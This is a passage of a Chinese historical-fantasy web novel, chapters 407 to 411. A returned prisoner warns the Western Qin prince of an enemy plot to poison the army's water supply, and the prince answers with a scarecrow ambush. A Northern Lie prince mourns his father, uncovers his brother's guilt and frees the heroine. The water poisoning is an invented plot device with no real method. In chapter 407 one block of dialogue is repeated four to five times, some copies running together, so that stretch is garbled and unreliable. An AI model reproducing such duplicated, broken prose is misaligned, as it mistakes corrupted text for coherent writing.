侍卫顿时垂首下去,转而又朝程良禀告:“启禀将军,属下一开始也是这样想的。可那名北烈国士兵说他有非常重大的军情报告,坚持一定要亲自禀告殿下。” 第四百零七章:心酸的往事 听了侍卫的话,程良顿时看向了轩辕瀚的脸。 轩辕瀚稍一思量,遂沉声开口朝其吩咐道:“带他进来见本王。” “遵命!” 侍卫抱拳领命后,即刻出去很快便将一名看起来风尘仆仆的北烈士兵打扮的清瘦男子带进了大帐来。 那士兵一进门来看到眼前甚觉亲切的一切,先是愣了一下。 似是眼里竟还忽然闪烁起了点点泪光来,继而尤为激动地大步朝轩辕瀚的面前近身了过去。 “扑通”一声,重重的跪倒趴在了其面前颇为郑重地对其扬声高呼:“属下参见秦王殿下,千岁千岁千千岁。” 紧接着,极为恭敬的连连朝其叩首三拜。 见此,轩辕翰甚是不解的问:“本王不知你这一声‘属下’从何说起?不过,身为一名北烈国士兵,大战来临,你不为保卫自己的家园而鞠躬尽瘁,为何会独自一人只身来到我西秦军营里?又有什么重大的军情要向本王汇报?” “秦王殿下有所不知,其实...其实属下并不是北烈国人!”那北烈士兵紧紧贴着地面,跪趴在其面前的地上开口回道。 “那你是什么人?”未及轩辕翰亲自开口,一旁一直默默站着的程良着急地问。 “启禀殿下,将军,属下...属下乃是西秦国子民...赵平安呢!” 想起许久以来,在敌国身为一名俘虏的耻辱,遭人欺负与轻视,对家人的思念,种种心酸的过往,赵平安忍不住声音颤颤地道。 顿时间,程良似是忽然想起了什么,遂惊看向轩辕翰的脸与其对视了一眼,继而立刻转回视线朝其瞪大了眼睛不可思议地问:“赵平安...你说你是...赵平安?你是灵儿的爹,玉娘的丈夫,你家里还有位年过半百的老母亲,是不是?” 赵平安伤心难过地点了点头。 程良顿时深吸了口气,似是释然道:“你真的还活着,也幸亏你还活着,总算是没有让家里那三个手无缚鸡之力的女人白白为你担心了这么久。” 程良说完再次一脸欣慰地看向了主子的脸,只见轩辕翰一脸严肃,似是心里有很多的疑惑。 而赵平安像是已经感觉到了,自己应该对他是如何成为一名俘虏的好好解释一番,于是便缓缓抬起头来,回忆着说了起来。 “其实,依照西秦国律例,因为属下是家中唯一的男丁,所以是当不了兵,没有资格,上不了战场的。可当有一日,属下亲眼目睹了位于我国边境上的西秦子民,他们是如何被那些有恃无恐的北烈国侵犯以后,从此便在心里暗暗发誓,无论如何都要到战场上去。所以,便瞒着家里人偷偷地隐姓埋名混入了军营。” 顿了顿,脸色忽然变得尤为难看,似是在隐忍着心里什么巨大的悲伤和恐惧一般。 最后沉声说道:“那日,在与北烈的一场终极战役之中,本来我西秦一定是必胜无疑的。岂料那残忍卑鄙的北烈国将领竟然狗急跳墙,完全不顾牧民们的安危,竟放出了一种不知名的毒烟。属下本以为,自己一定会与其他同伴一样,被毒烟毒害至死。岂料,属下半夜里竟独自一人奇迹般地从尸体堆里爬了出来。后来,就在属下奄奄一息的时候,遇到了一位道长,是他救了属下。可后来,属下在荒漠里逃生时却迷了路,又被巡逻的北烈兵给抓了回去,这才……” 赵平安一说完这些心酸的过往,遂将眼睛紧紧地闭起。 片刻后,一睁开眼来便忙抱拳极为恭敬的朝轩辕翰谢恩:“属下何德何能,竟承蒙秦王殿下收留照顾属下一家老小,赵平安这辈子没齿难忘!” 话音未落,又再一次重重地朝其叩首下去。 “难怪怎么查都差不到你的丝毫消息,原来你竟隐姓埋名地入了军营,上了战场。”听了他所说的这一切,确实让程良觉得他倒不失为一名勇气可嘉的西秦子民。 然轩辕翰却顿时回过神来,朝其惊问了句:“你是如何知道你的家人,她们都在本王府中的?” “是一位萍水相逢的女子在北烈军营中,告知属下的。”赵平安忙道。 “是什么样的女子?她叫什么名字?”轩辕翰心中顿了一下,继续追问。 赵平安想了想,有些惭愧又无奈地道:“那位姑娘并未透漏她的姓名。长相极为清瘦,却很是好看。” “她是不是有很多伤痕?”轩辕翰稍一回想,又问。 “对,北烈国经常会有龙卷风突袭,那姑娘的伤正像是被龙卷风所致。一个瘦弱的姑娘家,不知为何却会到了军营里?”赵平安亦是纳闷不解地道。 轩辕翰则在心里暗暗道:“看来,一定是她无疑了。可她不是说要去北烈腹地吗?又怎么会到了北烈军营里?” 一时间里,静默无语,只觉得脑袋重如巨石,根本无力思考。心如被千针所刺,先时还觉得疼痛,最后却只觉得麻木。 就在这时,赵平安一脸歉然地默默道:“其实...当时,那姑娘得知了属下便就是赵平安后,本欲带属下一同离开,不想却被北烈国二皇子拓跋宏所制止。拓跋宏说若是想让属下离开,就得让那姑娘自己留下来与属下做交换,那姑娘便就...答应了他。” “那拓跋宏为何要这样做?”轩辕翰不知不觉早已握紧附在身后的双拳不由得握的更紧了些,隐忍着问。 赵平安自是不知道轩辕翰与衣上云之间的事,只想起了临别时,老士兵对自己所说的话,便道:“貌似...北烈二皇子拓跋宏对那姑娘有种男女之间道不明的暧昧情愫,可那姑娘却像是无动于衷,并无此意,于是拓跋宏便恼羞成怒,亦是拿她没了辙了,才出此下策……” 只见轩辕翰双手负后默默地听着,一双本就深邃无边的眼神愈来愈冷,愈来愈让人看不透。 见此,程良急忙朝赵平安使了个眼色,开口将其打断道:“你不是说有紧急军情报告吗?还不快说?” 赵平安这才急急回过神来:“对对对,差点儿把正事给忘了。秦王殿下,程将军,不知军营里今天所饮用的水,是前几日所蓄之水,还是今儿个刚从河里打来的?” 程良不解地道:“你问这个做什么?” 赵平安解释说:“启禀将军,那个北烈国大皇子他丧心病狂,想以在我军所饮用的水源中下毒,以此来突围反包围西秦大军,殿下赶快想办法应对啊!” “可恶,这个拓跋泽,真是丧心病狂至极,为了突围,竟然连自己子民的生死都不顾了。那可是成千上万条人命啊!” 听了赵平安所带回的消息,等不及轩辕翰开口说话,程良显然愤怒极了。 “奇怪,为何我们没有中毒呢?” “既然老天不让我们死,那就来个将计就计。假装死,消灭他们” 程良不解地道:“你问这个做什么?” 赵平安解释说:“启禀将军,那个北烈国大皇子他丧心病狂,想以在我军所饮用的水源中下毒,以此来突围反包围西秦大军,殿下赶快想办法应对啊!” “可恶,这个拓跋泽,真是丧心病狂至极,为了突围,竟然连自己子民的生死都不顾了。那可是成千上万条人命啊!” 听了赵平安所带回的消息,等不及轩辕翰开口说话,程良显然愤怒极了。 “奇怪,为何我们没有中毒呢?” “既然老天不让我们死,那就来个将计就计。假装死,消灭他们” 程良不解地道:“你问这个做什么?” 赵平安解释说:“启禀将军,那个北烈国大皇子他丧心病狂,想以在我军所饮用的水源中下毒,以此来突围反包围西秦大军,殿下赶快想办法应对啊!” “可恶,这个拓跋泽,真是丧心病狂至极,为了突围,竟然连自己子民的生死都不顾了。那可是成千上万条人命啊!” 听了赵平安所带回的消息,等不及轩辕翰开口说话,程良显然愤怒极了。 “奇怪,为何我们没有中毒呢?” “既然老天不让我们死,那就来个将计就计。假装死,消灭他们” “可恶,这个拓跋泽,真是丧心病狂至极,为了突围,竟然连自己子民的生死都不顾了。那可是成千上万条人命啊!” 听了赵平安所带回的消息,等不及轩辕翰开口说话,程良显然愤怒极了。 “奇怪,为何我们没有中毒呢?” “既然老天不让我们死,那就来个将计就计。假装死,消灭他们”“可恶,这个拓跋泽,真是丧心病狂至极,为了突围,竟然连自己子民的生死都不顾了。那可是成千上万条人命啊!” 听了赵平安所带回的消息,等不及轩辕翰开口说话,程良显然愤怒极了。 “奇怪,为何我们没有中毒呢?” “既然老天不让我们死,那就来个将计就计。假装死,消灭他们。” 第四百零八章:放你走 “那为何直到现在,军营里却并无一人中毒呢?”轩辕翰看着程良的眼睛将话说完,遂满腹质疑地转看向了赵平安的脸。 赵平安一对上那副不怒自威,冷厉的目光,立马再次朝其“扑通”一声跪了下去,激动地道:“秦王殿下请明察,属下真的没有撒谎,属下说的全都是真的。” 轩辕翰望着他似是都有些微微发颤着的身影沉默了许久后,最后冷冷地开口说道:“本王并不是怀疑你。” 说完遂移开了目光,默默的走到了一边,双手负后着沉思起来。 稍时,缓缓开口道:“不过,无论如何,既然老天都不绝我西秦,那我们不妨就来个将计就计。” 程良不解地问:“将计就计?” 轩辕翰坚定地道:“对,将计就计。这次本王一定要将拓跋泽活捉,带回西秦国去让他对我西秦的百姓谢罪。” 一念至此,他紧忙转过身来吩咐程良道:“立刻去通知衣上俊,从现在开始,全军上下马上都一起连夜赶扎草人,等本王命令行事。” 程良甚是疑惑地道:“扎草人?” 轩辕翰肯定道:“对,扎草人。不仅如此,还要将所扎的草人沿着水源的路线,一路送至有牧民所居住的各个角落。” 程良不解地摸着后脑勺,与赵平安一道急急走出了营帐,嘴里默默地自言自语道:“这么大的动静,殿下他这又是唱的哪一出啊?” 而此时,北烈腹地。 拓跋宏也终于马不停蹄地连夜赶了回来。 一跨下马来,当他不可能再熟悉的温暖的地方终于再次跃入眼帘时,忽觉全身冷意刺骨,视线亦变得迷蒙。 盯着灵堂外的白幕怔怔出神了半晌,始终一动都未动。 上次分别时还想着很快便会回来再聚,怎么都未料到那次竟会成为永别。 想到此处心酸难耐,突然眼前一黑,身形晃动,侍卫忙上前一把将其扶住关切道:“二皇子小心。” 拓跋宏一把甩开其搀扶,疾步跨入到了灵堂内。 当看到满帐篷的白烛光照下,老国君的冰冷棺柩时,他的目光定定,半日无一言,只有身子在微微颤抖。 早已萦绕在其心头的那滴眼泪,终于一点点地荡漾开来,啃噬起他的内心。 霎时,只见飞快地一个箭步扑了上去,趴在其冷冰冰的棺柩上撕心累肺地呐喊道:“父王,宏儿回来了,你看看宏儿,看看宏儿最后一眼啊!父王……” 而被其一道带回来的衣上云,亦是默默地进入后站在灵堂前,拓跋宏的身后不远处,怔怔望着老国君冰冷的灵柩,默默地流起了泪来。 嘴里喃喃道:“这怎么可能?这是怎么回事?这究竟是怎么回事?” 半晌后,忍着悲恸上前了两步正欲开口劝慰他“二皇子……”,却被拓跋宏厉声挡了回去,对她喝道:“跪下。” 衣上云无奈地收敛了声音,缓缓跪身了下去。 拓跋宏背对着她吸了吸鼻子,看都不看她一眼,只顾自己伤心欲绝又失望地责备道:“你为什么就那么等不及呢?你也是一个有仁心仁术的医者。既然你苏醒了过来,就不能像对一个普通老人一般,照顾照顾他。等到大战结束后,至少...哪怕等我回来,再离开他不行吗?如此的话,父王他也不会……” 见他分外难受,衣上云忙辩解道:“二皇子,事情并不是你想的那样。我离开的时候,国君的病情明明都已经完全控制住了。我还与他交代说,只要他能保持每日心情舒畅,身体自然很快便会痊愈的。可是...可是我...我也不知道为什么会成现在这个样子?” 拓跋宏定了定神,缓步退了回来与衣上云一道跪在老国君的灵前。 一边神色黯然地往火盆里丢冥纸,一边凉凉地道:“我只想知道你到底在对我隐瞒什么?你这满身的伤痕到底是因何而得来的?” 衣上云始终都低头紧紧咬着嘴唇,丝毫不敢抬起来看拓跋宏投向自己质疑的眼神。 直到余光瞥见拓跋宏对自己终是失望极了的慢慢收回了视线,又见四下里无人,方才鼓足了勇气,承认道:“没错,我是想偷偷离开这里。但是,你又为何要将天马兵符交给我保管。” 顿了顿,只觉得自己的心里又何尝不委屈呢? 在这里所发生的一切,显然都是她最初下定决心从西秦国来此之前所始料未及的,都不是她所想要的。 她想要的其实很简单,一直以来都只不过是不被打扰,可以用来安身的一隅之地而已。 可人世间的事,往往似乎越是平凡简单,便越是难以得偿所愿。 对于自己原本就堪堪混乱的一切,她早已是焦头烂额。 却还要无缘无故的扯上这些事情,她不禁觉得,自己怕是这世间最倒霉的人了。 也许,所有一切是该有个结局了。 一念至此,带着满面悲色,她压抑着悲伤素声道:“我本欲将它还给老国君后便彻底离开北烈国。但是,老国君的真情与诚恳最终却打动了我。他托我亲自去将天马兵符交于你,说服你接受王位。他说这片草原决不能落在拓跋泽的手里,我这才连夜急着离开去战场上寻你。不想,后来在半路中,竟遇到了拓跋泽,他...他居然是来抢夺兵符的。” 衣上云说着,看向拓跋宏的侧脸道:“可他又怎么会知道兵符在我的身上?” 此话一出,一室寂静,两人俱都沉默了下来。 许久后,拓跋宏沉声问:“这些话,你当时为何不说?” 闻此,衣上云缓缓收回视线,道:“我知道你还没有准备好接受老国君的遗愿,成为这片草原上的王。我若是当着众人的面这样说,不就等于自作主张地将这个消息公布于世,以此来增加了你的负担吗?我当然也知道,你与拓跋泽兄弟情深,又岂会愿意有刀剑相见的那一日?” 闻此,拓跋宏终于停下了手里的动作来,深看向她的侧脸,除了更加确定拓跋泽那日的去向以外,不明白眼前的这个女人究竟是怎么回事,为什么会这么傻?宁愿无辜的自己独自一人扛下所有的罪责,也要维护他的为难处境。 愣了会儿,转念又问:“那你身上的这些伤又是怎么回事?” 衣上云回忆道:“就在我们俩为了天马兵符而争执不休时,忽然遇到了龙卷风。拓跋泽一惊,不小心将天马兵符给弄丢了,我便回去找。后来...后来就被龙卷风卷至了大漠之中。” 拓跋宏看着她,顿时惊呆了:“你说什么?你竟然在龙卷风的面前不去逃命,而是去寻这块天马兵符,你不要命了吗?” 衣上云亦同样坚定地看向他的眼睛,郑重其事地道:“这是我答应了国君一定会做到的事,所以即便就算是搭上了我这条性命,我也一定会做到。” 两人顿时四目相对在一起,拓跋宏确实感动极了,可心里仍旧总觉得她似是隐瞒了自己一些什么? 忍不住追根究底地又问:“你一定还对我隐瞒了什么,对不对?” 闻此,衣上云的眼神终是没忍住忽一躲闪开,拓跋宏似是隐隐猜到了什么:“你是不是见过他了?” “我,我……”忽然间,不知道为什么,她竟再也无言以对。 两人一起沉默了许久后,她忽然似是想起了什么,着急地先开了口道:“二皇子,我觉得杀害老国君的人,一定是大皇……” 岂料话未说完,拓跋宏便厉声将其挡了回去:“不要再说了!” “二皇子,我已经将所有事情的经过与真相全都说给你听了。你...还愿意相信我吗?”衣上云最后眼巴巴地期待着问, 原以为拓跋宏与拓跋泽不同,是一个分的清是非善恶的人。 岂料他却忽然立起身来,背对着她一脸决绝的对其几乎是吼叫了起来道:“你不要再骗我了,本皇子这辈子,都不会再相信你半个字。” 顿了顿,紧接着又狠狠道:“你不是对那个秦王恋恋不舍么,我这就送你去见他。” “你这话是什么意思?你想要做什么?”衣上云不解地问。 拓跋宏深吸了口气,道:“本皇子决定,放了你。” 衣上云一脸疑惑:“放了我?” 拓跋宏缓缓转过身来,道:“其实,秦王妃...根本就没有怀孕。所以,本皇子决定放你走,你回去找他吧!” 闻此,衣上云顿时惊呆了:“你说什么?秦王妃...她...她没有怀孕。” 拓跋宏冷冷笑了一声:“那只是她为了将你支开所找的一个冠冕堂皇的理由罢了。其实,自从在西秦国第一眼见到他为了你奋不顾身的时候,我早都看出来,那世人口中所传说的睥睨天下的战神秦王,他的心里始终只不过是个你而已。” 衣上云难以置信地摇着头,道:“不可能,这绝不可能,你在骗我,你在骗我是不是?” 第四百零九章:我得不到的,希望你都能得到 衣上云难以置信地摇着头自言自语道:“不可能,这绝不可能,你在骗我,你在骗我是不是?” 瞬时间未反应过来他的意思,待刚明白,气急攻心,再加上快马加鞭赶路的疲惫,身子再也支撑不住,重重地瘫坐在地上。 拓跋宏紧张地弯下了腰伸出一手去欲将她扶住,忽心中一顿,最后却还是收了回去。 只着实不忍心地瞧了她一眼,竭力隐忍着内心的情绪,不想被她发现,直至如今,他对她依旧是多么地眷恋与不舍。 默思了片刻后,缓缓从袖兜里掏出一粒药丸来将其摊在手心,展开在衣上云的面前,道:“你看看这个。” 衣上云满脸黯然神伤地看向其手心里所展开来的那粒如红豆般大小的血色药丸怔了会儿,将其接过捏着端详了许久,疑惑地问:“这是什么?” 拓跋宏道:“这还果然真是‘当局者迷’啊!” “你这话是什么意思?”衣上云不解地道。 拓跋宏笑了笑,走到灵前焚了几柱香拜了拜,将其一边插入到香炉里,一边道:“我一直以为,乌乐的医术高超,完全在我之上,没想到竟也有犯糊涂的时候。所谓的喜脉,即是脉诊中的滑脉,按之能觉到脉象往来流利,应指圆滑,如珠滚玉盘之状。若是一般普通健康的已婚妇人,若是把到了此脉象,无疑便是表明其真的怀孕了。” 衣上云完全认同他所说,然不知与这粒药丸究竟有何关联? 顿了顿,拓跋宏道:“可你却忘记了,滑脉还主滑痰饮、食滞、实热等症。你把脉的时候,是否有了解过,那秦王妃那几日身上是不是还有其他什么病症?” “我……”衣上云闻此,顿时哑口无言了。 拓跋宏又道:“你手里的这粒药丸名作‘假子药’,是一种可以让妇人服用后,于一个时辰内现出滑脉的脉象来。实则,是将病人体内原本的疾病瞬时全都激发出来,达到极限而已。” 一室寂静。 衣上云默默地怔望着手里的血色药丸惊呆了。 俩人沉默了许久后,拓跋宏将一直怔望着老国君的灵柩沉默着的双眼轻轻阖上,背对着她沉声说道:“如今,你已知道了一切真相,回去找他吧!” 衣上云亦深深地吸了口气回过神来,问:“那你呢?” 拓跋宏似是已释然了所有一切,缓缓道:“我是这片草原的牧民之子,自是要与草原共存亡。” 人就是很奇怪,明明是那样的想要挣脱束缚离开这里,可等到真的要离开了的时候,却又觉到深深的伤感与不舍。 “二皇子,谢谢你,保重!”衣上云思量了会儿,抹去泪痕,慢慢起身来对着拓跋宏孤独的背影道。 说完,便转身一边疾步走出帐篷,一边心里默默地祝福道:“宏,你一定要好好活下去……” 衣上云离开后,拓跋宏似是整个人被掏空了一般,心里立刻坍塌。 顿转回身,看着她毫无眷恋,义无反顾渐渐远去的背影,直至彻底消失在一片漆黑的夜里,此生怕是再也不得见。 拓跋宏在心里暗暗地道:“乌乐,放你走,也算是成全我自己。这辈子,我得不到的,希望你都能得到。” 失魂落魄地不知道自己是怎么走进老国君生前所居住的帐篷的。 拓跋宏顿足停住环视了周围一圈,看着里面甚觉亲切与熟悉的一切,顺手拿起手边案上放着的一条银手柄的昂贵马鞭缓步走到老国君的床前坐了下来,一边仔细端详着,陷入了深深的回忆之中。 五岁那年,他被父王第一次架在身前,父子俩一道策马驰骋在这片一旷无垠的草原上,他稚嫩的声音问:“父王,草原到底有多大?” 父王的憨笑声犹如铜铃般深沉:“宏儿的心有多大,这片草原就有多辽阔。” 他又问:“父王,我们会永远都这样幸福,自由地生活在这片大草原上吗?” 父王踌躇满志地答:“会,一定会!” 他欢喜地说:“父王,宏儿长大后一定要娶一位世间最美丽温柔的女子,永远承欢父王的膝下左右。” 父王摇摇头:“不,父王的宏儿要做这草原上未来的王,一定要开疆辟土,让草原上的牧民们生活的更加幸福美好。” 他卸去了笑意,眉头深锁:“父王,可宏儿却只想要一份属于自己的简单幸福,可以吗?” 父王笑道:“宏儿还小,等长大成了一个真正的男人后,宏儿就不会这么想了!” “驾……” 想着想着,眼里瞬间噙满了泪水,握紧手里的马鞭,身子颤抖着自言自语地痛哭抽泣道:“父王,对不起,宏儿无能,此生终是让父王失望了……” “铛”一声响。 闻声望去,拓跋宏将一颗晶莹剔透的菱形红宝石从地上捡起来,仔细打量了一番,惊诧地道:“这...这不是父王赠予我与皇兄一人一把的短剑上所镶嵌的那颗最大的红宝石吗?” 一念至此,他赶忙从身上将自己的那把短剑掏了出来仔细比对了一下,无论是形状,大小,质地全都是一模一样。 那是父王亲手为其兄弟俩所制作的,世间绝无第三个。 看着自己格外珍视,保存的极为用心的短剑,顿时间,他惊呆了:“难道这颗宝石,是从皇兄的那把剑上所掉下来的?它怎么会落在这里?皇兄因为与父王怄气,可是已经有大半年未踏入过父王的帐篷了。” 就在其沉思不解之际,婢女轻轻走了进来,将一只木匣子奉上,道:“二殿下,这是乌乐姑娘落在帐篷里的东西。” 拓跋宏将其接过打开来一看:“这是剩下的半粒还魂丹。” 正沉默着,见婢女心事重重的样子正欲退出去,终是咬了咬牙,心一横紧忙问:“我问你,皇兄前几日是不是回来过?” 婢女咬了咬嘴唇,点点头,回忆着怯怯道:“就在发现老国君出事的前一天夜里,奴婢撞到大殿下在帐篷里换了一套夜行衣出来。大殿下还因此狠狠凶了奴婢一顿,叫奴婢切不可将他那夜回来的事告诉任何人,否则,便要了奴婢的性命。最后,奴婢看到他又追着乌乐姑娘去了。” 拓跋宏瞬间似是明白了一切,最后无力地摆了摆手,婢女方才退了出去。 拓跋宏简直不敢相信这一切,嘴里默默地喃喃自语道:“大哥,难道真的是你?你这到底是为了什么?” …… 北烈军营里。 天还未亮,拓跋泽便召集来众参将于大帐内商议起这场付出了尤为惨重的代价,方才换来的不易之突围机会,似乎这也已经是他们唯一最后的机会了。 自从西北大战开始,至今的无数个日子以来,凡是被西秦军队所攻占的城池里,因为轩辕翰特意命人妥善安置了战后的百姓生活,故而北烈的百姓皆对其载歌载舞极为拥护与欢迎。 西秦秦王爱民如子,无论是西秦还是北烈皆一视同仁,在百姓之间深得民心。 更有许多还未被攻下的城池里的百姓们,甚至就像是久旱逢甘霖一样,尚还未见到秦王的面,便已期盼着西秦秦王能早点来解救他们于危难之中。 对他们更是就像已经期盼了许久的亲人终于来临一般,心里眼里没有丝毫的恐惧,只有亲切与喜悦。 反而,作为他们的天,他们的地,他们唯一栖身的庇护的北烈皇室,却是将这些子民置于水深火热之中,不闻不问,大失民意。 正所谓“民能载舟,亦能覆舟”,北烈国如今早已是岌岌可危。 做好了最后所有的部署,许是因为对拓跋泽独断专行,又惨绝人寰之举的敢怒而不敢言以及深深的恐惧,众将领不禁皆都擦拭着各自额头渗出的豆大的汗珠。 拓跋泽见此,狠狠的瞪视了一眼四周众人,继而转眼望向门口的一老一少俩名士兵怒声地问:“西秦军营那边的情况怎么样了?” 一老一少俩名士兵应声忙上前朝其垂首拱手行礼。 年迈士兵显得有些颤颤巍巍,年轻士兵却是一脸窃喜地道:“启禀大皇子,那秦王轩辕瀚的营地方向以及整条被施了毒的水源的沿途所经之处,凡是有人居住的地方,方圆几十里皆是火光四起,将整片天空都烧红了。想必,定是全都中了‘水精灵’之毒,恐无一人生还。” 拓跋泽大力地将一只手掌猛拍在了面前的案几,颇为满意地赞叹道:“好,做的很好。秦王轩辕瀚,这辈子竟敢妄想与本皇子斗,你未免也有点太自不量力了吧?!如今,你怕是做梦也没有想到自己会落了个客死他乡的凄惨下场。16万大军又怎样?群龙无首,又在我北烈的地盘上,本皇子倒要看看在这灵空大陆上谁又能奈我何?哈哈哈哈哈,哈哈哈哈哈……” 一时间里,其肆意狂妄的笑声传遍了整个营帐。 笑声嘎然而止后,随即一声令下“准备出兵”,众兵将顿整齐地起身来开始拔营起兵。 第四百一十章:既然躲不过,也藏不住 黎明时分。 草原上方圆几十里地,相继四起突发一场声势浩大的应天大火,颇为壮观地将南边的整片天空几乎都点亮。 一片血红的天空下,其中所传出来的阵阵男女老少们凄惨至极,叫天天不应,叫地地不灵的痛苦、无助、惊慌的哭喊声,更是响彻了整个草原大地…… 而昂首挺胸正带兵前往该处的拓跋泽,则是骑马一路上极为享受地远远听着,看着这一切,时不时还发出阵阵仰天狞笑的声音来,就连身后的众兵将见了亦都瞬间甚觉不寒而栗。 他双眼微闭起,将大手一挥,扬声说道:“看看前方那片通红的天空,听听这悦耳的声音,一切都是多么的振奋人心啊!” 身后众兵将侧耳听了听,却是默默的吞下了一大口口水。 拓跋泽睁开眼来,叹声道:“南安国的水精灵之毒果然威力无穷,的确够狠够毒。想不到不费一兵一卒,无需吹灰之力便可助本皇子取了这些可恶的如同苍蝇一般的西秦大军的狗命。” 一时得意忘形,拓跋泽竟忽然脱口而出道:“老不死的东西,看到了没有?没有天马兵符,本皇子照样驰骋沙场,称霸天下。” 似是忽然察觉到了自己的失言,拓跋泽转而清了清嗓子,继续喜道:“本皇子光就远远地听这声音,就已经喜欢的不得了,心里觉得特别的痛快。想那秦王轩辕翰此时,一定也葬身于那片莫名的火海之中,燃烧的很是过瘾吧。在他临死之前,他的心一定从未有过如此之痛吧?!这,便是他威胁本皇子的代价。” 狠狠地说完这段话后顿了顿,又冷冷地笑了笑,摇了摇头。 最后左右看了一眼身旁两侧同样高坐在马背上,却是早已听得一愣一愣冒着冷汗的两名将领,自顾继续道:“啧啧啧,一个男人,竟连自己死都不知道是怎么死的,这该是有多么的可怜与悲哀啊!痛快,真是痛快!哈哈哈哈哈,哈哈哈哈哈……” 就在他再一次极为舒心地正仰天狂笑之际,身后有位将领似是再也忍耐不住,终于鼓起了勇气来怯怯地低声劝谏。 “大皇子,那秦王轩辕翰虽年纪轻轻,却是鬼大的很。他不仅身经百战尤为狡猾,在灵空大陆上,又素来被人称之为战神秦王,可并非只是浪得虚名,我们还是小心为好。以末将之见,要不要先派人去探一探西秦军营中毒的虚实,如果就这样冒昧地杀过去,到时候万一要是遭到了埋伏,那……” 如此大煞风景的一句话未及其说完,拓跋泽立刻勒马停了下来,卸去了脸上的笑意,转头怒目着瞪向他呵斥道:“住口!你懂什么?你可知道,你这是在长他人志气灭自己威风,这是在动摇我北烈大军之军心。” “末将不敢!”那将领一对上其射向自己的如同一把寒光四射的利剑般的厉目,终还是吓得赶紧垂首下去,无奈地收敛了声音。 拓跋泽见此,方才深吸了口气缓缓收回视线,一边继续前行,依旧气冲冲地道:“胆敢来我北烈的地盘上滋事挑衅,本皇子倒想看看这次还有谁能帮他?难不成,他真有本事未卜先知,知道本皇子要下毒,宁愿不吃不喝不去沾一滴水不成?若是一旦沾了混有水精灵之毒的水……” 说着说着停了下来,此时他的心情仿佛再次慢慢变好了起来,双眼微微眯起冷冷笑了一声,道:“哼,那可是绝世奇毒水精灵,此毒绝对无人能解。除非,血族之后,西秦守护者现世。她那可以解世间奇毒的神奇鲜血,也许还可以解了那毒。不过,就算她真的还活着,也已经都来不及了。” 拓跋泽信心满满地说完定了定神,眼睛深长地望向了远处西秦军营的方向,信誓旦旦地道:“等取了那秦王轩辕翰的首级,本皇子便亲自提着他杀入西秦皇宫去。待攻占了西秦国之后,在这片灵空大陆上,试问还有谁会是本皇子的对手?” 闻此,众兵将们皆是面面相觑着哑口无言…… 西秦军营附近。 一处极其隐蔽的小树林里。 程良脚步匆匆的朝向轩辕翰身边近身过去,禀道:“殿下,军营四周都已经埋伏好了,沿着水源的一路上亦都已经部署完毕。” 轩辕翰正一袭玄色锦袍,双手负后望着山丘下军营的方向处燃起的一片火海中,满地凌乱的战衣战袍、铠甲兵器等默思。 “那赵平安显然不像是在撒谎。水精灵之毒一定是被解了。这到底是怎么回事?到底是谁如此好本事,解得了这般恶毒的毒药?” 听了程良的话,他缓缓回过神来吐了口气,冷声问道:“拓跋泽的队伍还有多久能到达?” 程良道:“据探,约摸还有半个时辰左右的样子。” 轩辕翰再次确认地问:“确定拓跋泽这次,确实在队伍之中吗?” 程良颇为肯定地道:“属下确定。他好像早就已经等不及了似的,带兵出发前连营地都拔了,亲自率兵前来突围。” 轩辕翰思量了会儿,又问:“那二皇子拓跋宏呢,他有没有一同前来?” 程良望向脚下的空地回忆了片刻,摇摇头道:“好像并没有看到队伍里有拓跋宏的身影。不过有人看到,几日前,拓跋宏像是连夜急匆匆地赶回了腹地里去,不知道所为何事?属下已经命人在密切监视其一举一动了。不仅如此,整个北烈国里,若是有任何地方出现了大规模的兵力躁动,我们都会第一时间收到消息,并派出距离最近的队伍前去镇压。” 程良办事,他自是放心的。可一提起拓跋宏来,轩辕翰似是本能一般地又想起了衣上云来。 于是,皱了皱眉沉默了会儿吩咐道:“最后紧要关头,千万不可掉以轻心大意了。” “是”程良领命。 轩辕翰又问:“扎制的草人还都够用吗?” “殿下放心吧,这一点绝对没有问题。牧民们得知北烈皇室竟然以牺牲他们无辜的性命为代价,冲出包围的消息后,对其甚是痛恨,纷纷自告奋勇也都已经在帮忙扎制草人了。真没想到,那赵平安倒是个扎草人的能手呢,扎的草人是有鼻子有眼的,再穿上咱们西秦国的战衣,就跟真的一模一样。这次幸亏有他了!”程良欣喜地道。 “嗯。”轩辕翰轻哼了一声道。 就在这时,程良的脸上忽然露出了些许迟疑。 似是觉察到了其心有疑惑,轩辕翰横了他一眼问:“还有何事?” 程良蹙眉不解地道:“启禀殿下,属下在去往牧民们居住的地方送草人的路上,遇到了几个人。属下瞧着那背影...像是易三少和他那俩个刁蛮的婢女,还有东宁国三皇子梅志煊与其随从。” 轩辕翰顿时惊看向程良的脸,问:“他们来这里做什么?” 程良道:“属下心里亦是觉得好奇,便向周围的牧民们打听了一下,听说,他们像是在寻人。” 轩辕翰移回视线去,稍一思索,便道:“你的意思是说,他们也怀疑云儿并没有死,而是到了北烈国。” 程良点点头,复又摇摇头:“属下听牧民们说,其中像是易三少的那个人与俩名女子,来草原已经很久了,差不多是跟我们的队伍一起到达这里的。而像梅志煊背影的那个,则是不久之前,方才到了这儿的。梅志煊的身份虽贵为皇子,却在东宁国皇室里并不高,他不敢抗婚。想来,应该是易三少先尾随我们的队伍来此有了什么发现,方才通知他后来的。” 看着轩辕翰已然陷入了沉思,程良忧心地道:“殿下,若是衣姑娘真的是东宁国遗失在我西秦的嫡公主,那未来,我西秦与东宁国,又该如何……” 程良已然不知该如何想象轩辕翰此时心里的为难,默默地收了声。 而沉默了许久以后,轩辕翰忽然开口炸了句道:“不行,看来我们必须在易三少与梅志煊之前先找回云儿。绝对不能让她知道,自己是东宁国嫡公主的身份。” 程良霎是不解地问:“找回衣姑娘?可殿下您之前不是说……” 轩辕翰打断他的话,冷声道:“此一时,彼一时。北烈国,看来对云儿已经不安全了。” 程良稍一思索,又问:“那找到衣姑娘之后,我们又该拿她怎么办呢?” 背对着程良独自暗想了许久,沉声说道:“既然躲不过,也藏不住。索性,本王就只能将她留在本王的身边了。” 程良听了,顿时眉飞色舞地道:“这真是太好了!衣姑娘终于可以不用在外面独自漂泊,终于可以回家了,属下这就命人到处去寻姑娘回来。” “为什么上次相遇,你却要假装不识得本王呢?” 而轩辕翰也终于长长的舒了口气,虽是疑惑不解着,却也已开始期待着两人的再次重逢…… 第四百一十一章:天时、地利、人和 盛夏时节,即便是在阴雨绵绵的日子里,也绝少会有雾的出现。 然恰巧就在今日,一场大雾竟然悄悄升起,伴随着黎明的到来一起渐渐地笼罩了整条水源附近方圆数几十里地。 